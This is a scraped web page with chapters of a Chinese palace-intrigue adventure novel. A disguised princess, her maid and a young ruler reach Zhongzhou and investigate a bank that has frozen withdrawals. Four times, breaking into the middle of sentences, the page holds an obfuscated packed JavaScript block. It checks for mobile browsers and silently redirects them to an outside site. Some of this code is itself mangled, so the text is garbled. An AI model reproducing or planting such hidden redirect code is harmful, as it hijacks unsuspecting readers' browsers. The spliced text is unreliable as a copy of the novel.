p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660005|156707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，直接给拿回来了，本来想到中州移交官府处置，没想到，这两个人就这么容易就死了。” 她摇着头感叹，“果然——世上所有事情还是有因果报应的。” 听闻此言，蔺甘棠思索片刻，他展开了他的折扇，“世上哪有那么多的因果报应，你先看看包裹里是什么吧。” 包裹正摆在步笑安眼前的桌子上，直觉告诉她，眼前这个人已经把这个包裹都拆开看了一遍。 步笑安将绳结拆开，熟练地将包裹摊开在面前，目光落在其中的物什上。几枚金银首饰在晨光下折射出微弱的光芒，旁边还散落着一些碎银。 她抬手拾起几支珠钗细看，“这珠钗可不是寻常人家之物，王都官宦人家才能拥有这等成色的物品，而且看样式还是近些年来的流行款。难道被抢之人是女子？” 步笑安随后又轻轻翻动包裹，手指触到一张折叠得十分随意的纸张。那是一封信，然而只剩下一半。 她抖了抖信纸，展开来看。 具体的内容不甚明了，估计是为了不被任何人看出破绽用暗号写的密文，一人持一半是为了与接头之人更好相认。 步笑安下意识抬头，当即说出自己的推测，“这字迹，怕是跟那被烧毁的中州两字，出自同一人之手。那被抢之人，就是那黑袍女子” 蔺甘棠笑的很好看，见解如此犀利的女子他还是不多见，“诚如殿下所说。” 步笑安也微微一笑，觉得有一条猜测比较符合现在的情况，“此黑袍女子武功时高时低，时而一人打不过多人，时而一人反杀二人。如何做到的不清楚，不过她确实当时不敌，逃了去，最后为了夺回包裹再次回到客栈反杀二人，但是包裹早已不知所踪。” 蔺甘棠用折扇点了点这包裹，“殿下阴差阳错顺手截的胡，竟然正式我们在追踪之人的东西，着实是好运气。” 步笑安又把包裹重新打了个结，和自己的包袱放到了一起，“这得好好保存，看到时可以怎么利用上。” 蔺甘棠此时又恢复了一些懒散时候的样子，“到中州找只大黄狗，让他带着找人。” 那等于如同大海里捞针，步笑安在心里给了他一个白眼。 她现在心中有一事，此女子武功时高时低，高的时候连神弓卫都能杀掉，如果为了寻找密信回来而杀掉客栈中其他人，那就不妥了。 神弓卫虽说在暗地中也在保护着几人，不过终究是远水解不了近渴，还是不要冒险的好。所以为了以防万一，他们还是得早些出发，在不清楚这个女人的底细之前，尽可能的不要打草惊蛇。 步笑安暗自做好了决定，走到蔺甘棠面前，干脆地明说：“我们得提早出发，早饭车上解决，你让管家赶紧备好马车，我们要走了。” 蔺甘棠比她要高一些，要看着她只能垂着眸子，“听你的，殿下。” 短短五个字，他比以往的声音都要温柔一些。 耳畔春风拂过的感觉让步笑安顿时红了脸。 “那就这样，一会儿门口见。” 15. 中州 “驾——” 草草收拾完客栈的残局，一行人便马不停蹄地上了路。 山川田野间的鸟鸣声不止，接下来的两三天天气都不算很好，太阳被乌云遮住，虽偶有大雁排成行划过天空略显生动外，整个天空显得灰蒙蒙的。 没想到离章州越远，官道越窄，最后只剩下了泥泞小道——也暂且唤它官道吧。 一路上也没发现客栈，全靠一辆马车解决衣食住行。冷面馒头吃了两日左右，几个人都有些难以下咽。不过，十分万幸的是这两日里没有发生任何异常的事情，没有被抢，没有死人，而是顺顺利利地到了临海小镇。 越过界碑，再穿过镇门，一行人发现镇内人迹寥寥，倒是透着几分世外桃源的气息。小镇的居民热情而质朴，初至镇中便有一位老人上前热心指路。 最让阿箬打心眼里欢喜的，是在一家包子铺前，掌柜见随手递了个糖人过来，那糖人捏成兔儿模样，惟妙惟肖。 阿箬将糖人儿高高举起，在蔺甘棠面前晃了晃，脸上满是得意之色，嘴角扬得高高的。 “怎么样？好看吧？”阿箬眉飞色舞地问道，还不忘做了个鬼脸。 他微微挑眉，带着一丝笑意，“是挺可爱，不过——”他话锋一转，眼神瞥向糖人的耳朵，“这兔子少个耳朵，会不会更别致些？” “你！”阿箬瞪了他一眼，立刻将糖人藏在身后，“休想碰它！” 一旁的步笑安看着阿箬孩童般的模样，不禁摇了摇头，轻声叹道：“这丫头，还是如此没心没肺。” 蔺甘棠收回目光，自然不与阿箬一般计较。他端坐在包子铺内，手中扇子轻轻敲着掌心，眼神却不自觉地流转于铺外的街景。包子铺紧邻镇门，从这里可以将整个镇子的布局尽收眼底。街巷纵横交错，依稀可见几座高墙院落，远处则隐约传来港口的喧哗声。 步笑安曾提及，这座小镇临近港口，与外界的联系多倚水运。此刻，选择水路还是山路，成了他们必须尽快定下的要事。 不多时，管家从外探路归来，他微微颔首，低声禀报：“主子，这几日小雨连绵，听闻港口水位涨得厉害，怕是水路难行。” 步笑安闻言，略一沉吟，“既如此，那便绕山而行吧。虽路途多些曲折，但也稳妥些。” 绕山而行较水路多耗时一日，几人打算在镇上寻个地方歇脚再行。只是镇民本是淳朴之人，对外来客颇为热情，可当听到他们打算投宿时，脸上的笑意却略显勉强，言语间也开始支支吾吾。 一位大婶挠了挠头，低声道：“几位客官，这镇子小，也就一家客栈，平日倒是足够用的。只是……”话说到一半，她顿了顿，神色有些犹豫。 那大婶叹了口气，“只是那客栈前些日子被一群外乡人包了下来，说是要长住，旁人就算想借住一宿，也被回绝了。掌柜的也是没办法，毕竟那群人不大好惹。” “外乡人？”蔺甘棠与步笑安对视一眼，“何方人士？” 大婶抬眼瞧了瞧蔺甘棠，又赶忙低下头去，摆了摆手，“这我可不知道了，都是些生面孔，也不跟我们说话，跟你们是一个方向来的，来往得很少。你们要是想落脚，恐怕得另寻去处了。” 包下整间客栈，好大的手笔。 这里面能做出这种事情的怕只有他蔺甘棠一人。 步笑安闻言思及此，轻笑着看着蔺甘棠，“关公门前耍大刀，你要不要再把客栈包一遍？” 蔺甘棠甩了甩袖子，挑眉，“岂能包一遍？若是真的比谁更厉害，倒不如直接买下这客栈。” 步笑安听出他在开玩笑，倒也是忍不住调侃道：“买下客栈？敢情您是打算在这里常住？” 这话一出，步笑安不知道他哪根弦儿崩不对了，只听得他一声叹气，表情遗憾的像是失去了十栋宅院，“这地方山水环绕，确是个隐居的好地方，若是有美人儿环绕，还真是不想走。” 又叫美人儿？她明明还是一个青衣男子的模样，还真叫的下去？ 他那吊儿郎当的荒唐样子，这就栩栩如生地呈现在她的面前，步笑安顿时就不再想承认自己认识这个人。 想着若是没有地方住，还不如早点出发寻个荒凉地过夜的好，步笑安当下冷着脸转身就走，“去集市买点儿干粮，立刻上路！” 停在原地的三人面面相觑。 步笑安稍作安排，四人分成两路。阿箬和管家一组，负责前往街市采购旅途所需的必需品，而她与蔺甘棠则去另一条街采买些吃食。 步笑安原本打算和阿箬一组，这样能避开蔺甘棠那张玩世不恭的脸。谁成想，这位却像突然中了什么邪，非得跟着她去买吃食，理由还冠冕堂皇得很，“她不善讨价还价。” 可到底是谁不会讨价还价？ 就在她转身去购置馒头的时候，她亲眼目睹某人以三倍于市价的高价买下了二十个包子，脸上还带着那副理所当然的笑意。 步笑安忍不住瞪了他一眼，道：“包不了客栈来包包子了？你这是和小摊贩比谁更大方吗？而且包子只能吃一日，再吃不了就坏了。” 她顿时气不打一处来，“这是奢靡，是浪费！” 蔺甘棠拎着二十个包子言笑晏晏，“今天晚上先吃这个呗，馒头就往后放一放。” 步笑安被他的轻描淡写也弄得是一脸漠然，“行的很，把浪费说得这么理直气壮。这些包子大不了全部都喂马。” 她平时不是大手大脚的人，却也不是什么小家子气的人。但只要是银子没有花在刀刃上她就不太舒服。 不过这银子又不是她的，也不是什么大钱，她跟着着什么急？ 步笑安摇摇头，觉得自己着实有些吃饱了撑的。 换个角度想想，他这番还算是提高了民生，行了善事。 步笑安伸手缴获了蔺甘棠的钱袋子，从中拿了一些碎银买了一些干饼和腊肠，并且给水囊中加满了水，二人这才回到了集合地。 之前的马车太过于狭小，并且一路行走在泥泞之地已有些破损，毕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660006|156707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟还有三天的路程，管家做主卖掉了上一辆马车，另外购置了一辆新的。 这辆马车比原来的宽敞许多，可以坐下三个人，而且车轮处采用了特殊材料，绕着山路走变得方便了许多。 天色有一丝丝暗色浮现，他们需要在彻底暗下来之前去寻找下一个落脚点，于是四人便又整装待发上了路。 马车中现有三人。 阿箬坐在最中间，俨然是中晟王朝获得最高殊荣的人。 左边是中晟王朝的前继承人真王女，右边是中晟王朝现任君主。 然，她本人不知道，只觉得如坠冰窖。 她那么一个活泼的性子此时如坐针毡的紧，左瞧瞧，右看看。还是没有看出什么门道，直觉告诉她二人之间的关系，有点儿微妙。 不过凭着她的本能，还是成功把这冰给破成功了。 “小姐，你手里的包子我能吃一个吗？”阿箬一脸渴望地看着她。 步笑安心里明白，这几天算是把丫头给饿坏了，她从包裹里拿出来天价的二十个包子，每个人分了一些。 阿箬不仅吃了一个，在大家伙都分到三四个包子后，她还把剩下的全部包了圆儿，一个都没剩。 如此单纯，如此暖心，蔺甘棠一下子就对这个丫头改了印象，决定接下来她再说一些什么大逆不道的话，他都可以既往不咎。 就因为她吃了他的包子。 蔺甘棠给了步笑安一个得意的眼神。 是的，她没有看错，就是一种带着七分戏谑，八分得意，还带有一分炫耀的眼神。 步笑安漠然地无视了他，并且在心里给了一个大大的白眼。 是什么让一个纯情的小护卫，成长为一个如此荒唐勾人的昏君的呢？ 步笑安想了一想，好像是她。 但她又一想，好像也不对，她充其量只是其中的一个原因。 而真正的原因，则是那暗藏在朝堂中操纵意图操纵整个中晟的人。 她心底一沉，若是那个黑袍女子真的和他有关系，那么绝对不能让这个线索断掉。 步笑安按了按包裹，那封信——她一定要好好的利用。 她撩开马车上遮挡的布帘，往外看去，很快眼前的风景就从繁华街道变成了崇山峻岭，耳边响着“哒哒”的马蹄声。 还有三天就能到达中州，在那之前她都得盘算好了才行，她不由得眉头微微皱起。 主子的风吹草动阿箬都看在眼里，暖声道：“小姐，你要是累了就睡一觉吧。有事儿，阿箬会叫你的。” 步笑安确实有些乏了，昏昏沉沉间便靠在阿箬的肩上睡了过去。 阿箬在侧，蔺甘棠倒是什么也没有说，只是抚着扇子若有所思。 三日时间说长不长，说短不短，一路停停走走，四人终于到达了中州地界。 马车渐渐停下，步笑安从车中探出头来，轻巧地飞身而下。 看着眼前高大矗立的城门，笃定道：“这就是中州了吧。” 16. 钱庄 中州的空气中充斥着海风的潮湿，点点晕染在发梢间抹上了一层氤氲。再加上一缕缕吹来的秋风，倒是整个中晟独一份儿的风格。 城门口往来的车马川流不息，一两马车停在城门的阴影附近。 “通关文牒准备好了吗。” 阿箬连滚带爬地从车厢内窜出，下了马车后侧着身子一脸好奇地打量着中州城楼，一边说一边翻着包裹，“自然带了。有在章州加盖的印章，绝不会被人发现破绽。” 阿箬掏出两本文牒，速速交给了步笑安。她此时已经魂游天外，中晟城楼的两层楼设计颇有一番风格，高耸入云的城楼楼檐飞翘，一下子就吸引住了阿箬的视线。 步笑安摇摇头摊开手，接过阿箬手中的文牒，展开一看。 “吴敏实，男，章州威远人……” “步治刀，男，章州潮安人，经营书肆……” 乍一看倒是看着没有什么问题。 就是吧，她合上文牒，上下打量了东张西望的阿箬一番。虽是俊俏郎君，却是有一点点矮。眉峰高扬，却不长个胡子。一袭男子装束穿在他身上，像是一个没有长大的熊孩子。 毕竟脸上没毛，办事不牢。 步笑安默默拎过阿箬手中的包裹，从夹层中翻到了几簇毛，手中倒腾了一番，掰过阿箬的脸贴了上去。 阿箬任由她摆弄，三两息之间脸上就浮现了栩栩如生的两撮胡子。 看着自己杰出的作品，步笑安满意的点了点头，用着清冷的青年声音说道：“不错，有点儿意思了。” 只是吴敏实和步治刀这两个名字，她越想越觉得不对，“这名字起的，怎么听着那么敷衍。” “这名字怎么了，我瞧着这名字取得极好。吴兄，步兄，二位兄台可算是收拾好了？” 马车上的车帘突然被掀开，蔺甘棠那清凌凌的眼神占据了一张俊脸最吸睛的部分，他唇边微微一曲，“若是不嫌弃，再一同走一段？” 步笑安挑起眉头，心中突然划过一丝不好的预感，她拉过阿箬，低声道：“阿箬，这通关文牒上的名字是谁起的？” 阿箬眼珠子一转，抬手轻轻一点马车中人，“是他！” 步笑安又道：“那这印——” 阿箬继续遥遥一指，“他盖的。” 步笑安呵了一声，心道：无事献殷勤非奸即盗。 蔺甘棠看着她果然如此的样子，清凌凌的眸子透着一丝委屈，“步兄这是何语气，我好心替你找到了大印，难不成有事好心办了坏事？” 步笑安作了一揖，礼貌地露出一笑，“哪里哪里，这件事真是麻烦你了。” 还没等蔺甘棠缓过神来，步笑安一把捉住阿箬的后脖颈子，往城门口排队去了。 “中州已至，先走一步！” 说完四人兵分两路。 蔺甘棠垂下扶着帘子的手，重新回到车内。他随手把玩着手中的酒杯，耳中隐约听到远处传来的几句话，唇边不由得浮现一抹苦笑，轻叹了一声。 殿下为何就如此冷淡地待他呢？分明，他一直在以自己的方式向她表明忠心。 连文牒这种麻烦事，他都亲自为她打点妥当，换来的却依旧是那若即若离、不远不近的态度。 蔺甘棠倚靠在车壁上，眸色微敛，脑海中浮现这些年来见过的无数莺莺燕燕。那些女子无一不是将目光聚焦在他身上，或羞涩，或热烈，或倾心。然而，她却是个例外，仿佛天生心冷。 殿下是他的殿下，拿她与众多美人相比，他也是犯糊涂了。 蔺甘棠在这一边思索着如何把她留下，城门下步笑安在那头已经递交了通关文牒。 中州的审查相比其他地方要严格的多，所有人都会在经过城门时经历一番盘问。 “来开书肆的？书呢？”城门口的守城官差从文牒上抬起头，眼尖的瞧见二人一高一矮。书生气质扑面而来，但着实不像是做生意的。他挥手拦下，瞪大了眼睛不耐地例行审问。 步笑安清清嗓子，暗中递了一锭银子过去，沉声道：“官爷，我们二人这生意刚做到中州，确是书肆的东家，这次来是签契约文书来的，您通融一下，日后若您光临敝店，购书自是免您银两。” 那官差眼珠微转，接过银子掂了掂，翘翘胡子，目光游移在二人之间，看二人挺上道闻声俯首，忽而低声问道：“什么本子都有？” 他这般试探，步笑安心中了然，一般都是些上不了台面的禁书。步笑安点点头，“官爷明察，小店自是四海承书，各类本子皆有收录，只要您喜欢，总能寻得一二。” 官差瞧着步笑安隐晦一笑，“什么类型都有啊，那本官自是好学之人，得去逛逛。走吧。” 挥手之间，步笑安已然松了口气，心知此关已过。二人收起笑意，谢过官差，顺利步入中州城门。 尘土微扬，步笑安抬眼望去，只见一队身披铁甲的骑兵，整齐划一地从远处而来。这一行人步伐整齐，声势逼人，径直朝城门口进发。 她微微蹙眉，回头望去，只见这些人到城门口时便列队停下，好像在找什么人。 此时，管家驾着马车缓缓行至城门口，文牒刚递出去，便见那守城官差伸出的手被一只铮铮铁甲的手取代。 来人显然是那队铁甲骑兵的首领，他低头扫了一眼文牒，神色冷峻，不发一言，转身将文牒收起，动作干脆利落。 随后，只见他朝马车方向微微躬身，行了一礼。 “参见王。” 远处，步笑安很清晰地读出了他的唇语，瞳孔微微收缩。 蔺甘棠横在马车里，他本是有些伤脑筋，突然听得这一声恭恭敬敬地参拜，霎时间皱起了眉头，他有些许不快。 何人敢窥探他的行踪？ 这里头的条条道道可多，如此一想，殿下刚才选择不和他同行竟然还是有先见之明。 “你是何人——？”那种被控制在股掌之中的感觉又来了，他轻抚眉心。 马车外，那铠甲首领闻言立即抱拳，语气恭敬而不卑不亢，“属下是中州骑兵营李峰， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660007|156707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奉中州县令之命，在此恭候王大驾。” 蔺甘棠不欲露脸，靠在马车上闭目养神，“孤——乃微服出行，不欲闹得人尽皆知。” 李峰立刻上前一步，躬身作揖道：“令知王有此顾虑，特遣属下前来迎驾，此事断不会泄露，王可安心。但县衙已备下薄酒一席，望王移步一叙，以表我中州上下的敬意。” 蔺甘棠眉头没有展开，以手支颐，按照他的一贯作风，这种宴席他是不会不去的，“也罢，走吧。” 说是不会告知旁人身份，可是这阵仗闹的是人尽皆知。不过这种事情在中州也是并不是少见多怪，多得很。 步笑安驻足在街角，目光静静地追随那支浩浩荡荡的队伍远去，直到拐角处的身影彻底消失在视线尽头，她才缓缓转过身来。 身旁的阿箬此刻正满脸疑惑，“小姐——这怎么回事，那个登徒子到底是何身份，这么气派！” 阿箬虽不懂唇语，但刚才那队列的气势和对方恭敬的态度让她看得一清二楚，这待遇倒是让阿箬羡慕嫉妒恨了。 步笑安却是一派淡然，她拍了拍阿箬的肩膀，安慰起来是一套一套的，“他是他，咱们是咱们，走吧赶紧去钱庄，把钱要回来也就衣食无忧了。” 中州城的繁华景象却叫二人一路流连忘返，所谓乱花渐欲迷人眼，正是此意。摊头的煎饼，街角的糖葫芦，好吃的好玩儿的太多，一路走走逛逛，直到晌午她们才找到欠她们钱的钱庄。 永世钱庄。 听名字，这个钱庄气派的紧。 步笑安抬头打量了一番，只见那牌匾上的字那叫一个大气恢弘，门外装饰都用着青玉砖瓦，装潢富丽堂皇，极尽奢华。 只是现在钱庄门口人头攒动，竟是被围了个水泄不通。 人群中传来各种变着花样的叫骂声，那原本光滑的青玉砖墙，甚至已经被砸得裂纹隐现，破碎的砖块散落在地。 义愤填膺的人们更有甚者竟然挥手投掷鸡蛋与白菜，连带着无辜群众也跟着遭殃，但是并没有多少人在意。 阿箬一侧身，险险躲开飞来的一个菜帮子，拍了拍胸口，“小姐，这情形怕不是一般的闹事吧？瞧着这架势，连青玉墙都快被扒了。” 说着，她踮起脚尖，费力地向前探望，视线穿过人群的缝隙。 “我看八成是这钱庄出了事儿，难不成是……” 步笑安沉着地观察着四周，发现周遭的每个人都手中拿着银票和单据愤怒异常，看起来像是来取钱的存款人，但是都被避之门外了。 就在这时，钱庄高墙之上，竟慢悠悠地竖起了一面白色的布条，上面写着几个大字： “暂停兑付，请诸位宽限时日。” 没有落款，但是此文是何人书写已是路人皆知。 阿箬惊声道：“小姐我们的银子，这可怎么办！” 步笑安想了想既然已经到这里了，那就不可能就这么灰溜溜地回去，毕竟住客栈也是一笔开销。 她唇角微微一曲，“那就凉拌！” 17. 秘策 钱庄紧闭的大门背后，仍有模糊的身影在窗纸后晃动。 避而不见，但是钱庄内有人。 这就比彻底人去楼空要好得多，毕竟常言道跑得了和尚跑不了庙。 然而，就这么被围的水泄不通着实也不是个事儿，大门不开怎么着都没有用。 只道这夕阳都快落下，人群去了一茬又来一茬，菜帮子扔了一堆甚至都能炒成菜，但大门还是好端端地关着。 步笑安在旁边的水果摊子上买了几个苹果，一边啃着，一边观察着情况。 阿箬在她旁边从她手中抢过去一个苹果，也道：“小姐，这钱庄掌柜也是个狠角色，躲在里面打死不开门，这般下去何时才能了结？” 步笑安冲她摆摆手，“不急。” 她好整以暇地转过身来，冲着隔壁水果摊摊主一笑，“大娘，这钱庄怎么围了如此多人，你可听到过什么风言风语？” 那大姐此时百无聊赖地给前面扔鸡蛋的一筐白菜帮子，看来是鸡蛋扔完了，来这里补货的。 原来这水果摊还做着兼职，顺带着卖白菜。 那摊主打眼一瞧步笑安，看是个俊秀的少年郎，这话匣子就打开了，“这位小哥一看就是从外地来的吧，你不知道，我们中州城近日来最轰动的就是这件事。” “我们这永世钱庄的掌柜啊，换人了。” 换人？那与她能不能兑钱有什么关系？ 步笑安唇一弯，想着法子往外勾话，“那这么多人不可能都是为了一睹掌柜真容吧？” 只见那摊主放下手中的凤梨，“怎么会？！都是来要钱的。你问起这事儿那可就是说来话长了……” 此话绵绵无绝期，那摊主凭借着她的小道消息，从十几年前的事情开始讲解，从前掌柜的爷爷辈儿的腌臜事儿讲到孙子辈的接生事宜事无巨细，最后到如何失权又失钱。 据那卖水果兼白菜的摊主所说，这永世钱庄早在一年前便已暗中露出颓势。掌柜的为人颇为讲究体面，虽入不敷出，却从未在人前失了风度。他原本盘算着将钱庄的银两尽数散出，之后关门大吉，以求留下一份清名。然而，幕后掌控之人却并不肯如他所愿，反倒将其一脚踢开，换了新的掌柜接手。 摊主一面细细剥着橘皮，一面絮絮叨叨，眉宇间尽是惋惜：“说起那前掌柜，可真真是个厉害人物。永世钱庄能开遍整个中晟，都是靠他一手打拼出来的。至于一年前，怕就是那些背后的人动了什么歪心思，这才闹得一塌糊涂。” 果不其然，自那新任掌柜接手以来，各种幺蛾子层出不穷：什么银票上的大印不够清晰，什么银票拼接处对不上，各类蹩脚理由频频冒出，实则是明摆着拖延。就算存款人依着他们给出的办法去办，也是原地打转，白白耗费心力。 摊主冷笑一声，摇着头叹道：“这种事儿，遇上一人是倒霉，遇上两人也就忍忍罢了，可如今闹到上百号人都被耍得团团转，这不就是逼着大家一齐来揭老底么？这不，人心所向，物极必反呐！” 步笑安听得仔细，啃着苹果的动作也缓了下来。她瞥了一眼那被围得如铁桶般的钱庄，若有所思地问道：“那这新任掌柜，大娘可曾见过其人？” 摊主咂咂嘴，抖了抖菜叶上的水，语气里透着些许不忿，“见是没见过，听说倒是神秘得很。十日里头，也不过在铺子里露个三天面，还都是鸡鸣时分到，深夜时分走。” 一路消息听下来，步笑安觉得想要把自己的钱拿回，确实不容易。首先第一步就卡在了这钱庄新庄主到底是何许人身上了。 她靠在摊子旁，指尖轻轻敲着额头。片刻之后，眉梢挑起，忽地凑近阿箬，小声在她耳边低语起来。 阿箬歪着头听了半晌，先是睁大了眼睛，然后猛地摇头，似乎被步笑安的主意吓了一跳，“小姐，您说的这法子……也太——” 话音未落，步笑安就已经转身拐入了临街小巷，阿箬跺了跺脚，也咬着牙跟了上去。 小巷幽深，两侧高墙之间看看能并肩站立两个人。步笑安走到一棵临街的老槐树下，抬头估量了一番，三两下就攀了上去，动作干净利落。 阿箬站在树下，仰头望着步笑安，忍不住抽了抽鼻子，低声抱怨：“小姐，您这法子真的能行？” 步笑安稳稳地坐在树杈上，手轻轻扶着一根枝丫，目光却紧紧锁定对面，低声说道：“总不能坐以待毙。等也要精准地等，机会不等人。” 从白昼等到夜幕降临，周围的喧嚣声逐渐褪去，嘈杂的人群也悉数不见了踪影，月亮浮现在了步笑安的背后。 她还是保持着同样的姿势，一双眸子如猫一般盯在钱庄的后门。 阿箬在树下来回踱步，抬头见步笑安纹丝不动，忍不住又嘀咕起来：“小姐，这都多晚了，再这么等下去，您是不是就成树精了？” “嘘——” 就在这时，步笑安的视角里一辆木头车缓缓从街头出现，一个蒙着口鼻的妇人推着车，嘎达嘎达地走入各家各户，再拎着个捅出来。 据步笑安观察，这妇人的速度不疾不徐，进入每家每户的平均时间都不偏不倚。按照这个进程下去，大概是再过一炷香的功夫就能到钱庄后门。 哗啦啦，树叶一阵翻动，步笑安径直而下，落在阿箬面前，道：“走。” 钱庄后墙很高，这是一般江湖上的高手也是难以逾越的高墙，若想正大光明地入内，那简直是痴人说梦。步笑安深知，想要解决眼前的困局，必得另辟蹊径，而眼下的蹊径却委实有些不体面。 远远地，一阵沉闷的车轮滚动声愈来愈近，那浓重的臭气随之扑鼻而来。阿箬扇了扇鼻子，忍不住皱眉，低声抱怨：“小姐，这也太臭了些吧！真的没有别的法子了吗？非得借着倒夜香的功夫往里钻？” 步笑安转过头来，只是用一副不得不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660008|156707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此的神情看着她：“要是有别的法子，我自然不会选这个下策。”她顿了顿，又道，“权宜之计，忍一忍吧。” 说罢，她从袖中取出一条洁白的丝帕，轻轻拍了拍阿箬的肩膀，将丝帕递到她手中。 丝帕上的淡淡香气迅速被臭气覆盖，阿箬像是认命了一样，还是乖巧地接了过来。 两人借着墙边的遮挡侧头看去，只见那推夜香车的妇人轻轻敲响了钱庄后门。 未听得更多言语，门便吱呀一声开启了一道缝隙，显然是这妇人每日都在此时前来，早已不引人疑。 待那妇人转身提桶之际，步笑安自阴影中干脆利落地迈出一步，抬手便是一记手刀，精准无声地将妇人击晕。随即，她小心地将妇人放靠墙边，动作轻巧不带一丝响动。 她抬眼扫向阿箬，低声吩咐：“看好她。”随后以手势示意，让她替自己在外望风。 步笑安将手覆上微掩的木门，稍稍用力将门推开些许，目光警惕地向内探去。 倒夜香毕竟是最不体面的苦役，常人避之唯恐不及，因此这时的守卫通常是最为松懈的。果然如她所料，门内一片静谧未见一人。 她放慢脚步，从墙角攀至假山旁的遮掩处，顺势绕行至前堂附近。她侧身一看，只见前堂内灯火忽明忽暗，一个身着锦袍的男子正登上一顶轿子，随即向前而去。 此人是何人，显然是呼之欲出。 可前方既不是前门，也不是后门，步笑安眉头微扬，难道有其他通路让他得以秘密离去？ 她轻轻翻上房檐，顺着那轿子的方向往那边一瞥。 这一瞥可不得了，好家伙，临街竟是一座风景秀丽的府邸。 夜色深沉，步笑安在黑暗中眯起眼，仔细辨认着周围的格局，但视线所及终究有限。尽管如此，今日的收获已让她心满意足。什么睡得比猪晚，起得比鸡早，神秘，都是骗人的。也不怪中州群众，连她也未曾料到，钱庄附近一街之隔的府邸竟与永世钱庄相通。 施展这种大手笔，这新任掌柜，绝不是一般人。 步笑安不再犹豫，借着夜色飞身掠向后门。 此时门外，阿箬踮着脚左顾右盼，心中一片忐忑，口中默念，“阿弥陀佛，千万别闹出什么大动静……”依照过往经验，每每遇事，牵连官兵已是步笑安的家常戏码。 但出乎她意料的是，不过一盏茶的功夫，步笑安便迅速现身，动作干净利落地将木门轻轻掩上，一声轻响也未发出。 阿箬眼里直放光，连忙上前，将先前被击晕的妇人扶起，让她靠墙坐得更稳妥些，转头又道：“小姐，你这次速度又快了许多。” 步笑安微微一笑，拍了拍她的肩头，低声道：“走吧，待回去再与你细说。现在当务之急，去隔壁临街。” 阿箬闻言一愣，“天色已晚，不找客栈吗？” 步笑安微微一笑，“先去蹲点。” 18. 夜坊 步笑安最终还是大发慈悲地放阿箬寻客栈去歇息了。 毕竟就她那三脚猫的功夫，对付一些地痞流氓绰绰有余，然而真要是遇到事儿，跑都跑不掉，三条街都没有跑了就得被逮住。 月光洒落在静谧的街道上，白日里摆摊的小贩已不见了踪影，步笑安行至钱庄附近，脚步放得极轻，暗中沿着街区缓缓而行，细细测量着周围的布局。 钱庄所在的地界与其他店铺邻接着，按道理来讲除了前门后门再无处可去，可是她却亲眼所见那顶轿子进入了偏门。 而钱庄所邻接的是一个胭脂铺，胭脂铺的后方按照表面看则是民宅一条街，民宅一条街和商业一条街整个形状呈拐角状。 如果当真有偏门，就等于说整个胭脂铺都是被打通的，钱庄与民宅相通？ 步笑安低头思考着这种可能性。 最后她选择默默路过这条店铺云集的街道，顺着拐角走进了民宅那侧。 这一看，了不得。不看不知道，一看，置这种宅子的人至少得花上个好几百万钱才能拿买的下来。 这片区域乃是中州商贾云集之地，汇聚了最著名的铺子，地段之繁华自不必说。 再看这装潢，虽说外墙看不出什么门道，单就看门口立的石狮子，那材质乃是上好的白玉雕成。 本就打算是来蹲点的，步笑安站在其中一件看起来朴素不打眼的宅子门前寻摸着怎样打探一番。 她用眼睛丈量了一下整体的高度，如果两条巷子之间的距离够近，她倒是能够借着力登着墙两侧上去，但这两条箱子之间离得着实有些远，有三个人的身位。 但，来都来了，总不能铩羽而归。 天无绝人之路，就在这时沉重的木门发出一声闷响，这宅子的大门竟然拿从内向外打开了。 步笑安她迅速屏息，眼神微眯，警觉地后退一步，身形轻巧地隐入白玉狮子的后面借此隐藏身形。 看来她的运气是好的。 随着门开，华贵的轿子被四名壮汉抬了出来。那轿子的纱幔垂下，隐约可见其中人影摇晃，分明就是先前她在钱庄中目睹的那顶轿子。 这么晚了，还要外出？ 步笑安心中产生一抹疑问，脑袋里还没有想出个什么头绪，她的脚步便已经跟上。 她距离那顶轿子保持着一丈远的距离，由于轿子本身移动的就不快，追踪起来倒也是方便。 一路尾随，街巷渐渐开阔，耳边传来的喧嚣声亦愈发清晰。最终，轿子缓缓停驻在一条灯火通明的街市之中。与方才寂静无人的商贾一条街截然不同，这里呈现出一派夜夜笙歌的景象。 靡靡之音入耳，步笑安这才明白这是何等地界。 她曾经有所耳闻，中州城的夜生活格外丰富，除了繁闹的夜市之外，还有着闻名中晟的夜坊生意。 